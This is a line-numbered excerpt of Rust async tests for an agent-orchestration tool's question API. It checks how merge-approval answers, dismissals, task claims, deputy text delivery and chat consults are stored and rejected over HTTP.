11408 let mut q = Question::new(
11409 state.id.clone(),
11410 crate::land::APPROVAL_NODE.into(),
11411 "land".into(),
11412 "Old approval".into(),
11413 "Original evidence".into(),
11414 vec!["merge".into(), "hold".into()],
11415 );
11416 state.land_approval = Some(crate::run::LandApproval {
11417 question: q.id.clone(),
11418 head: "head".into(),
11419 });
11420 state.save_under(fx.home.path()).unwrap();
11421 let stale = state.clone();
11422 fx.questions().put(&mut q).unwrap();
11423 let mut task = Task::new(
11424 "Owner".into(),
11425 "Original instruction".into(),
11426 state.repo.clone(),
11427 Source::Human,
11428 );
11429 task.runs.push(state.id.clone());
11430 task.status = if owner == "completed" {
11431 TaskStatus::Done
11432 } else {
11433 TaskStatus::Parked
11434 };
11435 if owner == "later" {
11436 task.runs.push("later-run".into());
11437 }
11438 if owner != "missing" {
11439 fx.queue().put(&mut task).unwrap();
11440 }
11441 let ui = Arc::new(Ui::new(
11442 fx.queue(),
11443 fx.questions(),
11444 fx.talks(),
11445 fx.runs(),
11446 fx.home.path().into(),
11447 state.repo.clone(),
11448 ));
11449 let response = question_answer(
11450 State(ui),
11451 Path(q.id.clone()),
11452 Ok(Json(NewAnswer {
11453 choice: Some(crate::merge_decision::DISMISS.into()),
11454 text: None,
11455 })),
11456 )
11457 .await
11458 .unwrap();
11459 assert_eq!(
11460 response.0.question.resolution().as_deref(),
11461 Some(crate::merge_decision::DISMISS)
11462 );
11463 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11464 assert_eq!(disk.status, RunStatus::Superseded);
11465 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11466 assert!(!crate::merge_decision::resumable_hold(&disk));
11467 assert_eq!(
11468 serde_json::to_value(&disk.pr).unwrap(),
11469 serde_json::to_value(&stale.pr).unwrap()
11470 );
11471 assert_eq!(fx.questions().count_open(), 0);
11472 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11473 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11474 if owner == "missing" {
11475 assert!(fx.queue().list().is_empty());
11476 } else {
11477 let after = fx.queue().get(&task.id).unwrap();
11478 assert_eq!(
11479 after.status,
11480 if owner == "current" {
11481 TaskStatus::Done
11482 } else {
11483 task.status
11484 }
11485 );
11486 assert_eq!(after.runs, task.runs);
11487 assert_eq!(after.instruction, task.instruction);
11488 assert_eq!(after.action_applied(&q.id), owner == "current");
11489 }
11490 }
11491 }
11492
11493 #[tokio::test]
11494 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11495 let fx = Fixture::start().await;
11496 let mut state = obsolete_approval_state();
11497 state.status = RunStatus::Landing;
11498 state.parked = true;
11499 state.driver_exited = true;
11500 let mut q = Question::new(
11501 state.id.clone(),
11502 crate::land::APPROVAL_NODE.into(),
11503 "land".into(),
11504 "Superseded PR approval".into(),
11505 "Original review evidence".into(),
11506 vec!["merge".into(), "hold".into()],
11507 );
11508 state.land_approval = Some(crate::run::LandApproval {
11509 question: q.id.clone(),
11510 head: "old-reviewed-head".into(),
11511 });
11512 state.save_under(fx.home.path()).unwrap();
11515 let stale_driver = state.clone();
11516 fx.questions().put(&mut q).unwrap();
11517 let path = fx
11518 .home
11519 .path()
11520 .join("questions")
11521 .join(format!("{}.json", q.id));
11522 let mut legacy = serde_json::to_value(&q).unwrap();
11523 legacy["schema"] = 9.into();
11524 legacy.as_object_mut().unwrap().remove("merge_target");
11525 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11526
11527 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11530 let answer_path = format!("/api/questions/{}/answer", q.id);
11531 let res = fx.post(&answer_path, Some(&body)).await;
11532 assert_eq!(res.status, 200, "{}", res.body);
11533 let disk = fx.questions().get(&q.id).unwrap();
11534 assert_eq!(
11535 disk.resolution().as_deref(),
11536 Some(crate::merge_decision::DISMISS)
11537 );
11538 assert!(disk.detail.starts_with("Original review evidence"));
11539 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11540 assert_eq!(retired.status, RunStatus::Superseded);
11541 assert_eq!(
11542 serde_json::to_value(&retired.pr).unwrap(),
11543 serde_json::to_value(&state.pr).unwrap()
11544 );
11545 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11546 assert!(!crate::merge_decision::resumable_hold(&retired));
11547 assert!(fx.queue().list().is_empty());
11548 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11549 let addr = Fixture::serve(
11551 fx.home.path(),
11552 PathBuf::from("/repo/magi"),
11553 launch_idle,
11554 None,
11555 )
11556 .await;
11557 let reconnected = Fixture {
11558 home: fx.home,
11559 addr,
11560 };
11561 let listed = reconnected.get("/api/questions").await.json();
11562 assert!(
11563 listed
11564 .as_array()
11565 .unwrap()
11566 .iter()
11567 .all(|q| q["status"] != "open")
11568 );
11569 assert_eq!(listed[0]["id"], q.id, "history remains available");
11570 assert_eq!(
11571 reconnected.get("/api/health").await.json()["questions_open"],
11572 0
11573 );
11574 assert_eq!(
11575 reconnected
11576 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11577 .await
11578 .status,
11579 409
11580 );
11581 assert!(
11583 reconnected
11584 .questions()
11585 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11586 .is_err()
11587 );
11588 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11591 }
11592
11593 #[tokio::test]
11594 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11595 let fx = Fixture::start().await;
11596 let mut state = obsolete_approval_state();
11597 state.status = RunStatus::Landing;
11598 state.driver_exited = true;
11599 let mut q = Question::new(
11600 state.id.clone(),
11601 crate::land::APPROVAL_NODE.into(),
11602 "land".into(),
11603 "Obsolete approval".into(),
11604 String::new(),
11605 vec!["merge".into(), "hold".into()],
11606 );
11607 state.land_approval = Some(crate::run::LandApproval {
11608 question: q.id.clone(),
11609 head: "head".into(),
11610 });
11611 state.save_under(fx.home.path()).unwrap();
11612 fx.questions().put(&mut q).unwrap();
11613 let mut task = Task::new(
11614 "Owner".into(),
11615 "Original instruction".into(),
11616 state.repo.clone(),
11617 Source::Human,
11618 );
11619 task.runs = vec![state.id.clone(), "later-run".into()];
11620 fx.queue().put(&mut task).unwrap();
11621 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11622 let claim = fx.queue().claim(&task.id).unwrap();
11623 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11624 let path = format!("/api/questions/{}/answer", q.id);
11625 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11626 assert!(fx.questions().get(&q.id).unwrap().status.open());
11627 drop(claim);
11628 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11629 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11630 assert!(fx.questions().get(&q.id).unwrap().status.open());
11631 drop(publication);
11632 state.driver_exited = false;
11634 state.driver_pid = None;
11635 state.save_under(fx.home.path()).unwrap();
11636 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11637 state.driver_exited = true;
11638 state.land_armed_head = Some("head".into());
11639 state.save_under(fx.home.path()).unwrap();
11640 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11641 state.land_armed_head = None;
11642 state.save_under(fx.home.path()).unwrap();
11643 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11644 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11645 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11646 }
11647
11648 #[tokio::test]
11649 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11650 let fx = Fixture::start().await;
11651 let mut state = obsolete_approval_state();
11652 state.status = RunStatus::Landing;
11653 state.driver_exited = true;
11654 let mut q = Question::new(
11655 state.id.clone(),
11656 crate::land::APPROVAL_NODE.into(),
11657 "land".into(),
11658 "Obsolete approval".into(),
11659 String::new(),
11660 vec!["merge".into(), "hold".into()],
11661 );
11662 state.land_approval = Some(crate::run::LandApproval {
11663 question: q.id.clone(),
11664 head: "head".into(),
11665 });
11666 state.save_under(fx.home.path()).unwrap();
11667 fx.questions().put(&mut q).unwrap();
11668 let mut task = Task::new(
11669 "Owner".into(),
11670 "Original instruction".into(),
11671 state.repo.clone(),
11672 Source::Human,
11673 );
11674 task.runs.push(state.id.clone());
11675 task.status = TaskStatus::Parked;
11676 fx.queue().put(&mut task).unwrap();
11677 state.merge_decision = Some(crate::merge_decision::Decision {
11680 question: q.id.clone(),
11681 target: crate::merge_decision::Target {
11682 pr: state.pr.as_ref().unwrap().url.clone(),
11683 head: "head".into(),
11684 language: "ja".into(),
11685 },
11686 choice: crate::merge_decision::DISMISS.into(),
11687 closed: false,
11688 replacement_run: None,
11689 replacement_pr: None,
11690 });
11691 state.status = RunStatus::Superseded;
11692 state.save_under(fx.home.path()).unwrap();
11693 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11694 let path = format!("/api/questions/{}/answer", q.id);
11695 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11696 let done = fx.queue().get(&task.id).unwrap();
11697 assert_eq!(done.status, TaskStatus::Done);
11698 assert_eq!(done.runs, task.runs);
11699 assert_eq!(done.instruction, task.instruction);
11700 assert!(done.action_applied(&q.id));
11701 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11702 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11703 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11704 }
11705
11706 #[tokio::test]
11707 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11708 let fx = Fixture {
11709 home: TempDir::new().unwrap(),
11710 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11711 };
11712 for choice in [
11713 crate::land::HOLD,
11714 crate::land::REPAIR,
11715 crate::land::APPROVE,
11716 crate::merge_decision::WITHDRAW,
11717 "reimplement:beta",
11718 ] {
11719 let mut q = Question::new(
11720 "old-run".into(),
11721 crate::land::APPROVAL_NODE.into(),
11722 "land".into(),
11723 "Decision".into(),
11724 "Review findings".into(),
11725 vec![
11726 "merge".into(),
11727 "hold".into(),
11728 crate::land::REPAIR.into(),
11729 crate::merge_decision::WITHDRAW.into(),
11730 "reimplement:beta".into(),
11731 ],
11732 );
11733 q.merge_target = Some(crate::merge_decision::Target {
11734 pr: "https://github.com/example/repo/pull/42".into(),
11735 head: "exact-reviewed-head".into(),
11736 language: "ja".into(),
11737 });
11738 q.consult = Some(ask::ChatConsult {
11739 talk: "another-conversation".into(),
11740 at: jiff::Timestamp::now(),
11741 });
11742 fx.questions().put(&mut q).unwrap();
11743 let ui = Arc::new(Ui::new(
11744 fx.queue(),
11745 fx.questions(),
11746 fx.talks(),
11747 fx.runs(),
11748 fx.home.path().into(),
11749 std::path::PathBuf::from("."),
11750 ));
11751 let response = question_answer(
11752 State(ui.clone()),
11753 Path(q.id.clone()),
11754 Ok(Json(NewAnswer {
11755 choice: Some(choice.into()),
11756 text: None,
11757 })),
11758 )
11759 .await
11760 .unwrap();
11761 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11762 let disk = fx.questions().get(&q.id).unwrap();
11763 assert_eq!(disk.merge_target, q.merge_target);
11764 assert_eq!(disk.consult, q.consult);
11765 assert!(
11766 disk.answer_authority.is_none(),
11767 "a direct owner card is its own decision"
11768 );
11769 assert_eq!(disk.resolution().as_deref(), Some(choice));
11770 assert!(
11771 question_answer(
11772 State(ui),
11773 Path(q.id.clone()),
11774 Ok(Json(NewAnswer {
11775 choice: Some("merge".into()),
11776 text: None
11777 }))
11778 )
11779 .await
11780 .is_err(),
11781 "an already settled decision cannot turn into merge approval"
11782 );
11783 }
11784 }
11785
11786 #[tokio::test]
11787 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11788 let fx = Fixture {
11789 home: TempDir::new().unwrap(),
11790 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11791 };
11792 let mut state = crate::land::tests::repair_state(true, true);
11793 state.status = RunStatus::Landing;
11794 state.parked = true;
11795 state.driver_exited = true;
11796 let mut task = Task::new(
11797 "Existing PR owner".into(),
11798 state.instruction.clone(),
11799 state.repo.clone(),
11800 Source::Human,
11801 );
11802 task.runs.push(state.id.clone());
11803 task.status = TaskStatus::Parked;
11804 fx.queue().put(&mut task).unwrap();
11805 let mut q = Question::new(
11806 state.id.clone(),
11807 crate::land::APPROVAL_NODE.into(),
11808 "land".into(),
11809 "Contested merge".into(),
11810 "Original evidence".into(),
11811 vec!["merge".into(), "hold".into()],
11812 );
11813 state.land_approval = Some(crate::run::LandApproval {
11814 question: q.id.clone(),
11815 head: "reviewed-head".into(),
11816 });
11817 state.save_under(fx.home.path()).unwrap();
11818 fx.questions().put(&mut q).unwrap();
11819 task.hold_manual(Some("Pause this PR".into()));
11821 fx.queue().put(&mut task).unwrap();
11822 let ui = Arc::new(Ui::new(
11825 fx.queue(),
11826 fx.questions(),
11827 fx.talks(),
11828 fx.runs(),
11829 fx.home.path().to_path_buf(),
11830 state.repo.clone(),
11831 ));
11832 let response = question_answer(
11833 State(ui),
11834 Path(q.id.clone()),
11835 Ok(Json(NewAnswer {
11836 choice: Some(crate::land::REPAIR.into()),
11837 text: None,
11838 })),
11839 )
11840 .await
11841 .unwrap();
11842 assert_eq!(response.0.question.id, q.id);
11843 let upgraded = fx.questions().get(&q.id).unwrap();
11844 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11845 assert!(upgraded.detail.starts_with("Original evidence"));
11846 let claim = fx.queue().claim(&task.id).unwrap();
11847 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11848 assert!(
11849 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11850 "an existing driver keeps its claim"
11851 );
11852 drop(claim);
11853 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11854 let resumed = fx.queue().get(&task.id).unwrap();
11855 assert_eq!(
11856 resumed
11857 .resume_override
11858 .as_ref()
11859 .unwrap()
11860 .pinned_run
11861 .as_deref(),
11862 Some(state.id.as_str())
11863 );
11864 assert!(resumed.status.runnable());
11865 assert_eq!(resumed.instruction, task.instruction);
11866 assert_eq!(resumed.runs, task.runs);
11867 assert!(resumed.action_applied(&q.id));
11868 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11869 assert_eq!(fx.queue().list().len(), 1);
11870 assert_eq!(
11871 fx.queue().get(&task.id).unwrap().resume_override,
11872 resumed.resume_override
11873 );
11874 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11875 assert!(
11876 disk.merge_repairs.is_empty(),
11877 "only the claimed run driver may execute repair"
11878 );
11879 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11880 }
11881
11882 #[tokio::test]
11883 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11884 let fx = Fixture::start().await;
11885 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11886 let path = format!("/api/questions/{id}/answer");
11887
11888 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11889 assert_eq!(res.status, 200, "{}", res.body);
11890 let body = res.json();
11891 assert_eq!(body["status"], "answered");
11892 assert_eq!(body["answer"]["choice"], "Redis");
11893
11894 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11898 assert_eq!(again.status, 409, "{}", again.body);
11899 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11900 }
11901
11902 #[tokio::test]
11903 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11904 let home = tempfile::tempdir().unwrap();
11905 let ui = delta_test_ui(home.path());
11906 let mut q = Question::new(
11907 "task".into(),
11908 crate::land::APPROVAL_NODE.into(),
11909 "land".into(),
11910 "Explain?".into(),
11911 String::new(),
11912 vec!["hold".into()],
11913 );
11914 q.deputy = Some(ask::Deputy::new("context".into()));
11915 ui.questions.put(&mut q).unwrap();
11916 let mut cfg = stub_config();
11917 cfg.daemon.max_deputies = 0;
11918 let mut status = crate::daemon::Status::new();
11919 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11920 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11921 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11922 let error = question_say(
11923 State(ui.clone()),
11924 Path(q.id.clone()),
11925 Ok(Json(NewSay {
11926 body: "Explain the findings".into(),
11927 })),
11928 )
11929 .await
11930 .unwrap_err();
11931 assert_eq!(
11932 error.text_reason,
11933 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11934 );
11935 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11936
11937 let mut text = Question::new(
11938 "task".into(),
11939 "ask".into(),
11940 "operator".into(),
11941 "Which name?".into(),
11942 String::new(),
11943 vec![],
11944 );
11945 ui.questions.put(&mut text).unwrap();
11946 let Json(view) = question_answer(
11947 State(ui.clone()),
11948 Path(text.id.clone()),
11949 Ok(Json(NewAnswer {
11950 choice: None,
11951 text: Some("chosen name".into()),
11952 })),
11953 )
11954 .await
11955 .unwrap();
11956 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11957 assert!(!ui.questions.get(&text.id).unwrap().status.open());
11958 }
11959
11960 #[tokio::test]
11961 async fn question_text_handler_admission_without_transport() {
11962 let home = tempfile::tempdir().unwrap();
11963 let ui = delta_test_ui(home.path());
11964 let mut q = Question::new(
11965 "task".into(),
11966 crate::land::APPROVAL_NODE.into(),
11967 "land".into(),
11968 "May this PR merge?".into(),
11969 String::new(),
11970 vec!["hold".into()],
11971 );
11972 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11973 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11974 ui.questions.put(&mut q).unwrap();
11975 let say = || {
11976 Ok(Json(NewSay {
11977 body: "Explain the findings".into(),
11978 }))
11979 };
11980 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11981 .await
11982 .unwrap_err();
11983 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11984 let response = rejected.into_response();
11985 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11986 .await
11987 .unwrap();
11988 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11989 assert_eq!(body["code"], "question_text_unavailable");
11990 assert_eq!(body["reason"], "deputy_exhausted");
11991 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11992 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11993 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11994 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11995 .await
11996 .unwrap();
11997 assert_eq!(view.text_delivery.state, "live");
11998 assert!(view.question.waiter.is_none());
11999 assert!(view.question.cwd.is_none());
12000 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12001 ui.questions.drop_lease(&q.id);
12002 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12003 .await
12004 .unwrap_err();
12005 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12006 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12007 let _ = question_answer(
12008 State(ui.clone()),
12009 Path(q.id.clone()),
12010 Ok(Json(NewAnswer {
12011 choice: Some("hold".into()),
12012 text: None,
12013 })),
12014 )
12015 .await
12016 .unwrap();
12017 assert_eq!(
12018 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12019 Some("hold")
12020 );
12021 }
12022
12023 #[tokio::test]
12024 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12025 let fx = Fixture::start().await;
12026 let store = fx.questions();
12027 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12028 store
12029 .update(&id, |q| {
12030 q.node = crate::land::APPROVAL_NODE.to_owned();
12031 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12032 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12033 Ok(())
12034 })
12035 .unwrap();
12036 let path = format!("/api/questions/{id}/say");
12037 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12038 assert_eq!(refused.status, 422, "{}", refused.body);
12039 assert!(
12040 refused.json()["error"]
12041 .as_str()
12042 .unwrap()
12043 .contains("deputy_exhausted")
12044 );
12045 assert!(store.get(&id).unwrap().thread.is_empty());
12046
12047 store.beat(&id, ask::WaiterKind::Deputy);
12049 let view = fx.get("/api/questions").await.json();
12050 assert_eq!(view[0]["text_delivery"]["state"], "live");
12051 let accepted = fx
12052 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12053 .await;
12054 assert_eq!(accepted.status, 200, "{}", accepted.body);
12055 let before = std::fs::read(store.path_of(&id)).unwrap();
12056
12057 store.drop_lease(&id);
12060 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12061 assert_eq!(refused.status, 422, "{}", refused.body);
12062 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12063 let held = fx
12064 .post(
12065 &format!("/api/questions/{id}/answer"),
12066 Some(r#"{"choice":"hold"}"#),
12067 )
12068 .await;
12069 assert_eq!(held.status, 200, "{}", held.body);
12070 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12071 }
12072
12073 #[tokio::test]
12074 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12075 let repo = tempfile::tempdir().unwrap();
12076 let mut cfg = stub_config();
12077 cfg.daemon.max_deputies = 0;
12078 std::fs::write(
12079 repo.path().join("magi.toml"),
12080 toml::to_string(&cfg).unwrap(),
12081 )
12082 .unwrap();
12083 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12084 let mut status = crate::daemon::Status::new();
12085 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12086 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12087 let id = ask(&fx, "Explain?", &["hold"]);
12088 fx.questions()
12089 .update(&id, |q| {
12090 q.node = crate::land::APPROVAL_NODE.into();
12091 q.deputy = Some(ask::Deputy::new("context".into()));
12092 q.deputy.as_mut().unwrap().agent = "stub".into();
12093 Ok(())
12094 })
12095 .unwrap();
12096 cfg.daemon.max_deputies = 1;
12097 std::fs::write(
12098 repo.path().join("magi.toml"),
12099 toml::to_string(&cfg).unwrap(),
12100 )
12101 .unwrap();
12102 let view = fx.get("/api/questions").await.json();
12103 assert_eq!(view[0]["deputies_enabled"], true);
12104 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12105 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12106 let res = fx
12107 .post(
12108 &format!("/api/questions/{id}/say"),
12109 Some(r#"{"body":"Please explain"}"#),
12110 )
12111 .await;
12112 assert_eq!(res.status, 422, "{}", res.body);
12113 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12114 }
12115
12116 #[tokio::test]
12117 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12118 let fx = Fixture::start().await;
12119 let id = ask(&fx, "No seat", &[]);
12120 let store = fx.questions();
12121 let before = std::fs::read(store.path_of(&id)).unwrap();
12122 let res = fx
12123 .post(
12124 &format!("/api/questions/{id}/say"),
12125 Some(r#"{"body":"hello"}"#),
12126 )
12127 .await;
12128 assert_eq!(res.status, 422, "{}", res.body);
12129 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12130 let res = fx
12131 .post(
12132 &format!("/api/questions/{id}/answer"),
12133 Some(r#"{"text":"hello"}"#),
12134 )
12135 .await;
12136 assert_eq!(res.status, 200, "{}", res.body);
12137 assert_eq!(
12138 store.get(&id).unwrap().resolution().as_deref(),
12139 Some("hello")
12140 );
12141 }
12142
12143 #[tokio::test]
12144 async fn saying_something_appends_a_turn_without_answering() {
12145 let fx = Fixture::start().await;
12146 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12147 fx.questions().beat(&id, ask::WaiterKind::Asker);
12148 let path = format!("/api/questions/{id}/say");
12149
12150 let res = fx
12151 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12152 .await;
12153 assert_eq!(res.status, 200, "{}", res.body);
12154 let body = res.json();
12155 assert_eq!(body["status"], "open", "talking back is not a decision");
12156 assert_eq!(body["answer"], Value::Null);
12157 assert_eq!(body["thread"][0]["who"], "operator");
12158 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12159 assert_eq!(body["waiting_on_agent"], true);
12160 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12162 }
12163
12164 #[tokio::test]
12165 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12166 let fx = Fixture::start().await;
12167 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12168
12169 let list = fx.get("/api/questions").await.json();
12170 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12171
12172 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12173 assert_eq!(res.status, 409, "{}", res.body);
12174 let q = fx.questions().get(&id).unwrap();
12175 assert!(q.status.open());
12176 assert!(q.consult.is_none());
12177 }
12178
12179 #[tokio::test]
12180 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12181 let fx = Fixture::start().await;
12182 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12183 let cfg = Config {
12184 agents: vec![crate::config::AgentSpec {
12185 id: "mock".to_owned(),
12186 kind: crate::config::AgentKind::Command,
12187 model: None,
12188 command: vec!["true".to_owned()],
12189 extra_args: Vec::new(),
12190 env: Default::default(),
12191 prompt_delivery: None,
12192 }],
12193 ..Config::default()
12194 };
12195 let talk = crate::talk::begin(
12196 &fx.talks(),
12197 &cfg,
12198 fx.home.path().to_path_buf(),
12199 Some("mock"),
12200 )
12201 .unwrap();
12202 let mut task = Task::new(
12203 "t".to_owned(),
12204 "Do it".to_owned(),
12205 PathBuf::from("/repo/magi"),
12206 Source::Agent {
12207 run: talk.id.clone(),
12208 node: crate::queue::CHAT_NODE.to_owned(),
12209 },
12210 );
12211 task.start("20260902-000000-beef".to_owned());
12212 fx.queue().put(&mut task).unwrap();
12213
12214 let list = fx.get("/api/questions").await.json();
12215 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12216 assert_eq!(
12217 list[0]["choices"],
12218 serde_json::json!(["SQLite", "Redis"]),
12219 "the hand-over is never a choice"
12220 );
12221 fx.questions()
12222 .update(&id, |q| {
12223 q.node = crate::land::APPROVAL_NODE.into();
12224 q.choices = vec!["merge".into(), "hold".into()];
12225 Ok(())
12226 })
12227 .unwrap();
12228 let list = fx.get("/api/questions").await.json();
12229 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12230 assert_eq!(list[0]["can_consult_chat"], true);
12231 fx.questions()
12232 .update(&id, |q| {
12233 q.node = crate::bump::NOTICE_NODE.into();
12234 Ok(())
12235 })
12236 .unwrap();
12237 let list = fx.get("/api/questions").await.json();
12238 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12239 assert_eq!(list[0]["can_consult_chat"], false);
12240 }
12241
12242 #[tokio::test]
12243 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12244 let fx = Fixture::start().await;
12245 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12246 fx.questions()
12247 .update(&id, |q| {
12248 q.node = crate::land::APPROVAL_NODE.into();
12249 q.choices = vec!["merge".into(), "hold".into()];
12250 Ok(())
12251 })
12252 .unwrap();
12253 let cfg = Config {
12254 agents: vec![crate::config::AgentSpec {
12255 id: "mock".to_owned(),
12256 kind: crate::config::AgentKind::Command,
12257 model: None,
12258 command: vec!["true".to_owned()],
12259 extra_args: Vec::new(),
12260 env: Default::default(),
12261 prompt_delivery: None,
12262 }],
12263 ..Config::default()
12264 };
12265 let repo = fx.home.path().join("chat-repo");
12267 std::fs::create_dir_all(&repo).unwrap();
12268 let toml = repo.join("magi.toml");
12269 std::fs::write(&toml, "this is = = not toml").unwrap();
12270 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12271 let mut task = Task::new(
12272 "t".to_owned(),
12273 "Do it".to_owned(),
12274 PathBuf::from("/repo/magi"),
12275 Source::Agent {
12276 run: talk.id.clone(),
12277 node: crate::queue::CHAT_NODE.to_owned(),
12278 },
12279 );
12280 task.start("20260902-000000-beef".to_owned());
12281 fx.queue().put(&mut task).unwrap();
12282
12283 let path = format!("/api/questions/{id}/consult");
12284 let res = fx.post(&path, None).await;
12285 assert!(res.status >= 400, "{}", res.body);
12286 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12287 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12288
12289 std::fs::write(&toml, "").unwrap();
12290 let res = fx.post(&path, None).await;
12291 assert_eq!(res.status, 202, "{}", res.body);
12292 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12293 let q = fx.questions().get(&id).unwrap();
12294 assert!(q.status.open());
12295 assert!(q.answer.is_none());
12296 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12297 assert_eq!(res.json()["can_consult_chat"], true);
12298 let list = fx.get("/api/questions").await.json();
12299 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12300 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12301
12302 let res = fx
12303 .post(
12304 &format!("/api/questions/{id}/answer"),
12305 Some(r#"{"choice":"hold"}"#),
12306 )
12307 .await;
12308 assert_eq!(res.status, 200, "{}", res.body);
